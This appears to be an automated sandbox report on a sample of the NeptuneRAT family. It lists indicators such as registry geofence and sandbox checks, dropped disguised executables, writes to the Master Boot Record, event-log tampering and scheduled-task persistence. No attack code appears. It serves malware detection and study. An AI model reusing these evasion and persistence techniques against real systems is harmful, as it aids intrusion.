neptunerat | c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000\Control Panel\International\Geo\Nation	cbacdc6e-e965-492d-af12-f2fd472019bf.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000\Control Panel\International\Geo\Nation	svhost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000\Control Panel\International\Geo\Nation	Bypassed.exe

Executes dropped EXE 5 IoCs

pid	Process
3328	cbacdc6e-e965-492d-af12-f2fd472019bf.exe
1396	svhost.exe
2740	svhost.exe
228	2l5ntriz.0z5.exe
1696	svhost.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\D:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D	lsass.exe
File opened for modification	C:\Windows\System32\Tasks\svhost	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\svhost.exe	cbacdc6e-e965-492d-af12-f2fd472019bf.exe
File opened for modification	C:\Windows\svhost.exe	cbacdc6e-e965-492d-af12-f2fd472019bf.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File created	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\001840199128EB89 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000bfc1a1980e1ea6439bb1597ef8c8b8b70000000002000000000010660000000100002000000089fc7e970dc58f4a1e57c611ff618c7aa49029c82ea04d301bbe74e20601b1bd000000000e8000000002000020000000fa8aae858919ac6a515eee512b9040a3f199bf8179bf00f07e6987207f7e964c80000000706fa7fa604ba09645d260b8ce61937be453165a0b34d29486f5a728d87b799c46e8df2b43ec6a346ccabf1b4ae41575042e0d0cec82dc047123d59aa8f4b629a0d4d887e576b3439ae4872c2b66c66c4f2a4cd4a651634316c97fc87f795a405a177fab067ee2c12a65e3a76a3d0013453bfc2862d1e932fc8c4a21c6a666f840000000a4b69da43524a5ef065beff9beb9fef27263b922609d69114f35a71276c6e42aeae929c79a0b2aa85b628019aa49e31000823a0e8c602967dc3a64ea88c98313	mousocoreworker.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1785978193"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02dmdleztlisopdv\DeviceId = "<Data LastUpdatedTime=\"1785978111\"><User username=\"02DMDLEZTLISOPDV\"><HardwareInfo BoundTime=\"1785978111\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000bfc1a1980e1ea6439bb1597ef8c8b8b700000000020000000000106600000001000020000000a1626ab800e782987be4f1f03be496378780d69a31f5e599e1206386cfeb1243000000000e80000000020000200000002f96813e1e26240a7809c69b135643254ccf683ac7f9aba44baa74d7e3a5e515300c0000c6a280524405885f6378d127c806aea7fa17b7c7e4c17007e204fc83766d521159f742d915a7ccf6924a935d901989f583ae6e370fa02bd43953b61072cbe1f15cd848944552a810237eb238f9ec553eafc44be6e3f6f9db1bc9bfeef307d83124c263d083fb5d85198fc085400012077ba9fad6a6c4d9f0faaaf49ee82f2bdf4116e335e36f4d62ade0979d407c474e98f637f7273bd9aa644c975d09b6a1b78acea49fda727f5e4615d2b9ccb7aae39d43ef48854638b11a60a1637da36e47b910939fe5bd9f6c7c679eb2897ae6ed363babb73875a819e626806f2cd90f134ee2b74d32a2a63187fbe14e57503dd10322f77caa63cc2de5362a27e56533d4f1ca631b1e070901263d880f22b1c6c81d0ac5783b755184a73ae5e3bb1eb5f83d1cb9415969a906bb947fff4c33a1688ed1eb57a17f5710255028290eb8b9a099d3767273a66666a9e1b891340f15222a758dcdf9dfa57ee5548aed7ee8fe2863c41bf4667f2bd09aa4dcece5c715f5ac353a1da2b9002283590a50356eaf09a600c05e6e9bb9c520493874767c7602a614f7e874d572c0955f1c95c51081e8ddb5079d4dbedcfb68c8b39c8b2fc31a8fc39891efa90274043fa5468d43d6bdffbf79ed5e11ac9a49902fa1235c4d2f954af633b77278622e3932b2bd2e9885e662c20ac947232a11ab5ec778a2b176f6f3d18864348cc7694fcb4058a9560e2645686756370c47b2b3d8608df22e269f4da036d599df76754f76c7dfb1c450bebc385f499a167b1eba1b985286c0ed680cba2277f3994595236072b22fdbec71a27dd1513d05c06ca60dcc451db2a4d05693f37ba1ec1f9a18fe3d078006aaad4c7edbd0f1c9cd92c584493b22eef5e3cc167dcd77e2a1284eae78d78f8f661aefcc8aed5fc6aa182bd5f7bcbb086811e1aab50e3526b30b9fe27de1a66460c848628933faaab8de61dabd7f4d9b2e86e05325b5f466a08e10c59e14978fe6d81eed396043c1cb55e155bbcb91b241201892710058343a15e03ef2304de4497f183c7d16a17e27af4613611dbc7cda5cbdce1e23caf4dc8040a54f63fd0edc5edf321555782a223fa62c8efba28a880064ce9fc3c351fbee7e062c8cc58b021fd6a86e0003fb37dcac305dd696e52730145c99fbd208910b9417d1846b13aa7b600fce6c4f473081ca05330a6c485daa20d2bf1e84a9b571ea769ac97e02ccbb7050834c45c347a71d79a4e1e21c28f64c2073417894ab6a2a97d3f0c4cfb1b7adcaa4c3dd20a4b1e4cc5f48387dc458c381decf7548cb9fc8534b877c0332d2697cb9c891f8be2221deca774f6c94a7452a91ce875865e9e6fc57c7a398dd00d126b8dbd73726a5033f126e79ae69818c88527de6a82e8f54093fed8872b2cfc5b89c1e5471623c4f01abe4b277fb0510259ce06a20aa9b9668fe67170869e7d587ab26c4dea4eb250ec762231309cf25d37950e06d7b212edd7bbf34c358f8e1e88f9129f8b61778df8a23bd48ae94c1f2b83adfba424aa97e4ea3afd4107711245518cd3ea9ebf47cbca75d3d56f8c76514e4ab28624ed9bc104fdf845efb6bdd136f20355eb6e8d088f30f084484dcb59849856d5f96748326f691f74e544280a22b79c63659732a513317c3d3a9d36d6dd9121084fcf437cec2e8b542ac682c453892d414381adb41395ecb02c1e6c1b5b0cbca843303e83ce96f82c56fb95b3498f64e3927ee382f63872affd832cfa970c646cae43cee93342f4670a794541d2dee2fbdfa515dcd50783307cf8a64d9b0be363785440c5674beded70e8f17a8fa2b9cd4acd7591cc9334000b471c57d80754c920976d5089d5cbf1e85f176925f2071982f7d924e0d7dbe2ff298fd52d2c8381641a01b9f7e785cc1867fe07696efa5a3070aa4182abc18f80d6cafa5be78b075452debe104c05865d38ff4208b763e8f76772a3e6b4ed0a5dc6c2fec6d2c9c81f983acc23f5b76ad8733296359d7a28977243e4c4998aefbdd15ef8804951da55ce1f630b4630d98dfee08fcd9dd3007423adc24cc31a44b195930a961cfc9ea386150e6dcc2c3d2104928526baa60ca0db92e611e2f9e0fef73240ea178838d74e5447262ac284315441cea4b3f8e1232d18a711b88c205ef25ec6ebb43a0a85a9b4e617d193f921e2ad8750d763a31a82457981602cc93ce4546aec0854d19827f73365eac7a5a1e8ca265492319d7eceee4e6a7f38a528c7b77cd486661cf6a9de0f1f319a5aaf0128b800c5266fb59382f8e6dbd8822967d6f11c309b45858c62836a189dfa071d0fa89d6d4f30a6fd205ba7fcf301db07bb499179d5e6fc7912ae8e8488bf91281f9c0d2a808be3ec28d70e7216c15ab5e55d18b157d0b524d60203bee6ff59702cceab93eda8eaf6ce1ee6baec438d95d67df5f9782106e82ae0c2833e8e757d5583d50bd4956cc271a111d37ee5e92f53a2e06eed4c522403818eb26e176af58a373497471b3cbebe7e663c86627ccb189bd1dc5e36089ce4fe2c265dca45ed4c1996caf96bf7a2627da65e4954ba3ae888d8f9b6544da1c0d0aa3b9a95924619a8c0412c877c5d544da18f278ff273fe9acaa13eaada5ca5148ddecd44607bb523ff62aee6130fc429b665aebd4ec9e17abd50a81a009119679874c10179fb307d4b30437b753d7e8ccf17660822e5cd8a57e330acb5c15ab3fba72fb73f9026bf835f93ae781602aec440106e3dede643cacecc53fa2db8442c0e2e287b19df46505d08b76619eb358aa0dd0f528050a555fa49fde37ec8e63f772d03be7fcfd30068a079ee4cf4438cd61222b47a376652e739f6d7236b94a98e5de18060286f0035220c8ad20461c6e5b82385cc6631583dfc36bb856179fc66d0aa58206ff8e65837160c7bdebbace76ee783d9425f537577ba4887a7da37116f9f14cfd6a027ce88da0eb4292aeba00093f5825e01a53cf7bb97db5f4669cf379dff230b952e30a84a74a764ab644aefdf8599687ffe8843180cd355d37cf3c9a70c92ce6b938247b22e556e06d8d826c1474156d3c630cebe92fdd7f79dc932da89e8afc366fe765b508c8a4dcd668eacb1f0423e9e898546854bd6e22a1f1b22db8cfc6a89a00f146aef21ee066126f0915f49a3be5009f6e41f4df6dda39188677c3dd8199b14f2999c8499c45187853dace6d77066fb48f64763b080e1ac2d0f5017581e09c957d05d2b1301f6fbed2ad2d886860c3f95a65a88b6aa30569ba72de96759b2e0bf6830a28001c69069eaa8627420a0dc7cd8d8f55ea0c73beb18d61f250fba2e2b9836d00fd940f18fc8643452413a980f785a2877bc35a746fdccc38dff180e2b891c5f1291ade4ce2bab2fca559d91d6a9de315195f00dc60f676d5cedcb40468ff6d5502567c31209c8bf06197b54623c23aa69d923a765e218bfb01938059f65495b91eebdaac68841b968896907c9f95199812bcce10400cd2e371bb35d920f7836f5d871e896e59c37cae11ef8291129000bde3d30181de4ed5215dae311bbd96374dd79f04f6fa5172eaadd746aabe73c2183e462404dd96b47f89f8091da3136a2ce3423e11db2b50124fff7d031865301f391f43140468828a25ce9c708e681ad35593650d60e3cd9ad7f069fb1e339e50752da98dd23ff4c2c42f8bfd960ec26aa7ca76b8d9f2f7e0cecf7df20d9759a269ffe53e378f767c78e572d5a9934b4acaede2c3d98aeae17adead7bf82fe01a893d1dd7dd09cc649b41fcfeb89cef55be14474e016420295db9e71dca80dc1244155ee631ae0d85b83753645220ff3677fe830f79f2e79f5d066287e5239640018c43c23521ebb35c75c466829c997ef91c9f757b993aa536e5e8db67bff5b3a8984f3825c8941aa4720cba52892f01b6b4fa8c9d64e12b6be1429e000e802dae4e34ba41d6a9c26fef2c7f64470360147550db99a763075d36c0c9c12f338803c04e75ac6356f82db25d8ecfcc14ba395027f2a919940d197b03be557a0284eb22821313b4ca8de89dcc7142a8d81d1b1e2fc01995c22709e3317b389387e296a2e24effdf5e458680e332c2d06c5cece2bc6d21affd93b6afe71db2e3858bd78d446e6dcdf2964437d93fb23183dbce95621bf42a6b4bb8811db957e038409c0e815494587f3e3900c0ca5e6236489d06000445a82db0ce107a27578ed7ed62f9273c6ae1a833634d002589fb1c434b1ef71eb622432828824f6cd1de14ba1cffc932572a630f07d460fe9f222937390d21d38ae275c0b4a4b151b716a548c6304a079b6d67ad5cd924e71b5510808de8de67b81c91f6d5103f776eac58c67ec70c4d0293f9b7f9acde972b01ddbabc7f667de1fd3bc5bcb05efbbb5192906bf93ce7b50850d0d7bf4fb53f544181e879e21040000000c8da9f95bbb3e0ff63356ccabdc1fb6b14e56147d353f8515e3bb5b3888717042074cad236264b1a1f208315ae1bb883f6c6d7e228e2931374cf4826baf1e643	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "001840199128EB89"	mousocoreworker.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={8284E3CF-EA52-42DB-82A6-B6AC60AADC07}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,944 15,943 6,1329 15,1329 100,1329 6,943 10,943 15,944 6,940 50,941 15,941 10,941 6,942 15,942 10,942 6,944 100,944 10,944 50,940 6,940 100,940 10,940 15"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Wed, 05 Aug 2026 22:30:13 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "577889346,5804129,17110992,7202269,9179409,24262478,41484365,17110988,7153487,508368333,17962391,17962392,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,7202265,507286179,41816131,20502174,6308191,18407617,39125643,539756558,504928405,504928410,24262477,25036127,24262473,9179410,6104718,9179411,51475283,41185282,39389248,539756557,528570079"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "001840199128EB89"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02dmdleztlisopdv\DeviceId = "<Data LastUpdatedTime=\"1785978111\"><User username=\"02DMDLEZTLISOPDV\"><HardwareInfo BoundTime=\"1785978112\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
640	SCHTASKS.exe
4208	SCHTASKS.exe
4760	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3744	powershell.exe
3744	powershell.exe
4044	powershell.exe
4044	powershell.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
